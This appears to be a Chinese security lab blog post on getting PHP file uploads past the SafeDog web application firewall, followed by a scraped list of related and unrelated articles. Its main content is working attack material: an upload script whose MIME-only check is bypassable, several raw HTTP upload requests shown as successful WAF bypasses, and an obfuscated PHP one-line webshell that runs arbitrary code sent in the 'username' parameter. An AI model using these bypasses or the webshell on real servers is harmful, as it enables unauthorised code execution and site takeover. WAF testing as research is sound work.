Author:倾旋
payloads@aliyun.com
本文由科拉实验室成员倾旋原创文章

Part 1 分析

此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么说吧。这款应用层的WAF的确在测试中让人头大。那么安全狗是如何分析我们的数据的呢?
在这里我做了一个拓扑图:

Part 2 测试过程

  • 测试系统:WINXP
  • 脚本语言:PHP5.4.45
  • WEB服务器:Apache/2.4.23(Win32)
  • 安全狗版本:3.5.12048

目前,用一个PHP上传文件的脚本来做上传测试。

该代码有进行修改。将前端的进行一个添加,还有就是他原本的代码不能够上传,没有将将临时文件进行复制。也就是:move_uploaded_file

<html>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="1000000">
uplaod file:<input type="file" name="file" value="">
<input type="submit" value="uplaod" name="file">
</form>
</body>
</html>
<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 2000000000))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
$a = explode(".",basename($_FILES['file']['name']));
$houzhui = array_pop($a);
$tem_file = $_FILES['file']['tmp_name'];
$new_file = "./uploads/".date('ymdhis').rand(100,999).".".$houzhui;
if(move_uploaded_file($tem_file,$new_file)){//如果移动成功就输出上传成功,否则失败,将临时文件移动到真正的目录。
echo "<script>alert('成功上传')</script>";
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $new_file;
}
}
else
{
echo "Invalid file";
}
?>

这个程序会根据MIME来判断文件是否是图片类型,如果不是就输出“Invalid file”该种的判断方式是存在绕过的,绕过MIME上传本博客相关文章:http://www.cnblogs.com/xishaonian/p/6415841.html

MIME类型常见的如下所示:

  • 超文本标记语言 .html .htm :Text/html
  • 普通文本 .txt:Text/plain
  • JPEG图形.jpeg .jpg: Image/jpeg

由于过多就不多举例了。

通常的普通上传一般只过滤这个MIME类型,由此引发了很多上传漏洞。既然能引发上传漏洞,那么根本的原因是什么呢?

就由于文件类型可控,所以可以伪造数据包中的MIME类型,上传文件。(由此我们可以看出,简单的判断MIME类型是远远不够的,还要限制文件扩展名)

我首先使用BurpSuite分析,抓取上传的数据包做测试。

可以看到已经拦截了上传的数据包,并且返回了拦截的警报信息。 
一般情况下,我都会手工去测试它的拦截方式,以及黑名单。
那么这个黑名单包含了哪些呢?
安全狗的黑名单:*.asa\*.asp\*.php\*.asax\*.aspx\*.cer\*.cdx\*.cgi\*.exe\*.dll\*.jsp\*.asmx等等 
现在进入正题,分析我们数据包中的特征。

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 344 -----------------------------3437176296980
Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg -----------------------------3437176296980
Content-Disposition: form-data; name="submit" Submit
-----------------------------3437176296980--

第一个猜想,它可能会直接取filename的值?
(在HTTP协议中,也是键值对的结构。 Key=”Value ”;
[键]=“值”
此时filename=”test .php ”中的filename就是keytest.php就是值。

安全狗可能取的就是其中的值,直接匹配名为filename的键对应的值。

第二个猜想,它会匹配所有filename对应的值吗?
我们将:
Content-Disposition:form-data;name="file";filename="AutoLoad.class.php"
更改成
Content-Disposition:form-data;name="file";filename=”test.jpg”;filename="AutoLoad.class.php"

此时测试上传发现还是不行。

总结一下:它会取得所有的filename对应的值。

在之前我们就强调了格式:key=” value ”;我们把双引号去除,试一试?

此时上传成功。

原因:原生(未修改)的数据包filename为最后一个键,这个键对应的值是没有“;”的。但是http协议中,我们根据正规格式构造,安全狗就匹配不到filename的值。

再后来我发现还有更多的方法:

  • 花式剔除
  • 垃圾值填充
  • 大小写混淆
  • 上下文互换
  • ……还有很多办法,不一个一个举例了

Part 3 秀出姿势

花式剔除测试过程:

在上传数据包中,Content-Disposition: form-data;的意思是内容描述,form-data的意思是来自表单的数据,但是即使不写form-data,apache也接受。

也能够上传成功

Content-Disposition: ;这里留了一个空值。

在HTTP协议中,一个[列表名]:参数名=参数值,但是有的参数是没有参数值的。例如:form-data,Content-Length

当然也可以用垃圾填充,也就是HPP,名为HTTP参数污染,但是和HPP不太相同,权且叫垃圾填充吧。

也可以填入不相关的值:

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 364 -----------------------------3437176296980
Content-Disposition: AAAAAAAAAAAAAAA="BBBBBBBBBBBBBBBBBB" ; name="file"; filename="AutoLoad.class.php"
Content-Type: Content-Type: image/jpeg -----------------------------3437176296980
Content-Disposition: form-data; name="submit" Submit
-----------------------------3437176296980--

后续我就直接贴上数据包了,因为全部是成功Bypass的。

下面来看看大小写:
Content-Disposition:form-data;name="file"; filename="test.php" 
content-disposition:form-data;name="file"; filename="test.php" 
将列名改成小写也是可以被Apache接受的。

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 343 -----------------------------3437176296980
content-disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg -----------------------------3437176296980
Content-Disposition: form-data; name="submit" Submit
-----------------------------3437176296980--

上下文互换测试过程:

我们发现在默认的上传文件数据包中,MIME类型是在内容描述后面的,我们将MIME类型放在内容描述之前也是可以绕过WAF:

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 343 -----------------------------3437176296980
Content-Type: image/jpeg
Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg -----------------------------3437176296980
Content-Disposition: form-data; name="submit" Submit
-----------------------------3437176296980--

后面我们发现只要在Content-Disposition上方插入任意字符,或者在form-data的位置放置任意字符,都可以绕过WAF....

当然,垃圾值也可以填充在默认数据包中的内容描述上方:

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 343 -----------------------------3437176296980
AAAAAAAA:filename="aaaaaaa.php";
Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg -----------------------------3437176296980
Content-Disposition: form-data; name="submit" Submit
-----------------------------3437176296980--

Part 4 分享

另外再附送一颗过狗一句话(PHP):

<?php
$p = array('f'=>'a',
#afffffffff
'pffff'=>'s'/*223* 1*/,
'e'=>'fffff',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(
'lfaaaa'=>'r',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(;
'nnnnn'=>'t'//&$@&(#*(;
);//&$@&(#*(;
$a = array_keys($p);//9*9*5656
@$_=$p['pffff'].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
$p['pffff'].$a[2];
@$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['f']./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['lfaaaa'].$p['nnnnn'];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@$_#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
($_REQUEST[#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
'username'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
]);
?>
密码是username

Part 5 结尾

总之方式有很多,希望此篇文章能给大家有所帮助,打开脑洞,简单设想并加以实验,就可以得出结论!! 
本人提倡这样的学习方法! 欢迎加入科拉实验室,我们专注于为信息安全而做学问!

文章转载:http://blog.cora-lab.org/193.html

关于Safe DOG的文件上传bypass的更多相关文章

  1. 文件上传bypass安全狗

    0x00 前言 本文首发于先知社区:https://xz.aliyun.com/t/9507 我们知道WAF分为软WAF,如某狗,某盾等等:云WAF,如阿里云CDN,百度云CDN等等:硬WAF,如天融 ...

  2. 过waf实战之文件上传bypass总结

    这里总结下关于waf中那些绕过文件上传的姿势和尝试思路 环境 apache + mysql +php waf:某狗waf 这里写了一个上传页面 <html> <body> &l ...

  3. 文件上传bypass jsp内容检测的一些方法

    bx2=冰蝎2 前段时间渗透遇到了个检测jsp内容的,然后发现全unicode编码就可以绕过,但是对bx2马进行全编码他出现了一些错误,我尝试简单改了下,日站还是bx2操作舒服点 检测内容的话,这样直 ...

  4. 文件上传漏洞Bypass总结

    文件上传漏洞Bypass总结 前端JS验证文件类型: 上传后缀jpg,抓包改为php后缀 ======================================================= ...

  5. Web开发安全之文件上传安全

    很长一段时间像我这种菜鸡搞一个网站第一时间反应就是找上传,找上传.借此机会把文件上传的安全问题总结一下. 首先看一下DVWA给出的Impossible级别的完整代码: <?php if( iss ...

  6. 艺萌TCP文件上传下载及自动更新系统介绍(TCP文件传输)(一)

    艺萌TCP文件上传下载及自动更新系统介绍(TCP文件传输) 该系统基于开源的networkComms通讯框架,此通讯框架以前是收费的,目前已经免费并开元,作者是英国的,开发时间5年多,框架很稳定. 项 ...

  7. Webwork 学习之路【07】文件上传下载

    Web上传和下载应该是很普遍的一个需求,无论是小型网站还是大并发访问的交易网站.WebWork 当然也提供了很友好的拦截器来实现对文件的上传,让我们可以专注与业务逻辑的设计和实现,在实现上传和下载时顺 ...

  8. Spring Boot 文件上传原理

    首先我们要知道什么是Spring Boot,这里简单说一下,Spring Boot可以看作是一个框架中的框架--->集成了各种框架,像security.jpa.data.cloud等等,它无须关 ...

  9. Struts(二十六):文件上传

    表单的准备 想要使用html表单上传一个或多个文件 1.须把html表单的enctype属性设置为multipart/form-data 2.须把html表单的method属性设置为post 3.须添 ...

随机推荐

  1. 根据不同浏览器使用不同的css文件

    代码: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3. ...

  2. Vue组件开发实践之scopedSlot的传递

    收录待用,修改转载已取得腾讯云授权 导语 现今的前端开发都讲究模块化组件化,即把公共的交互和功能封装到一个个的组件之中,在开发整体界面的时候就能像搭积木一样快速清晰高效.在使用Vue开发我们的vhtm ...

  3. HDU2089 ------不要62(数位dp)

    不要62 Time Limit: 1000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Submi ...

  4. function/bind

    1.函数指针指向一类函数,这类函数的类型一样,也就是函数的返回类型和形参表一样. 2.不同的函数类型要使用不同的函数指针,才能指向它,有没有好的办法呢? 类比思考下,交换方法,对不同的类型要写不同的s ...

  5. 架构设计:系统间通信(20)——MQ:消息协议(下)

    (接上文<架构设计:系统间通信(19)--MQ:消息协议(上)>) 上篇文章中我们重点讨论了"协议"的重要性.并为各位读者介绍了Stomp协议和XMPP协议. 这两种协 ...

  6. 取石子 (四)_nyoj_161(博弈-奇异矩阵).java

    取石子 (四) 时间限制: 1000 ms  |  内存限制: 65535 KB 难度: 4   描述 有两堆石子,数量任意,可以不同.游戏开始由两个人轮流取石子.游戏规定,每次有两种不同的取法,一是 ...

  7. 判断IE浏览器版本的精简脚本

    IE浏览器不管是什么版本,总是跟Web标准有些不太兼容.对于代码工作者来说,自然是苦不堪言,为了考虑IE的兼容问题,不管是写 CSS 还是 JS,往往都要对 IE 特别对待,这就少不了做些判断.本文不 ...

  8. 自己定义iOS上双击Home键图切换

    假设双击Home.会来到iOS App的switcher页面,在这儿列出了当前系统挂起的App, 上面有每一个App的切屏,相信大家都熟悉这个东东了. 它事实上是每一个App在挂起前,对App后个载屏 ...

  9. Java设计模式(二)-单例模式

    单例模式建议保证某个对象仅仅仅仅有一个实例,当仅仅有一个对象来协调整个系统的操作时,在计算机系统中.线程池.缓存.日志对象.对话框.打印机.显卡的驱动程序对象常被设计成单例.总之,选择单例模式就是为了 ...

  10. Asp.Net MVC4开发二: Entity Framework在Asp.Net MVC4中的应用

    ORM作为一种数据库訪问机制已广泛地应用于各种项目其中,在.Net开发中,应用比較广泛的ORM框架大致有以下几个: 官方支持的有:Linq to SQL.Entity Framework.三方的有:N ...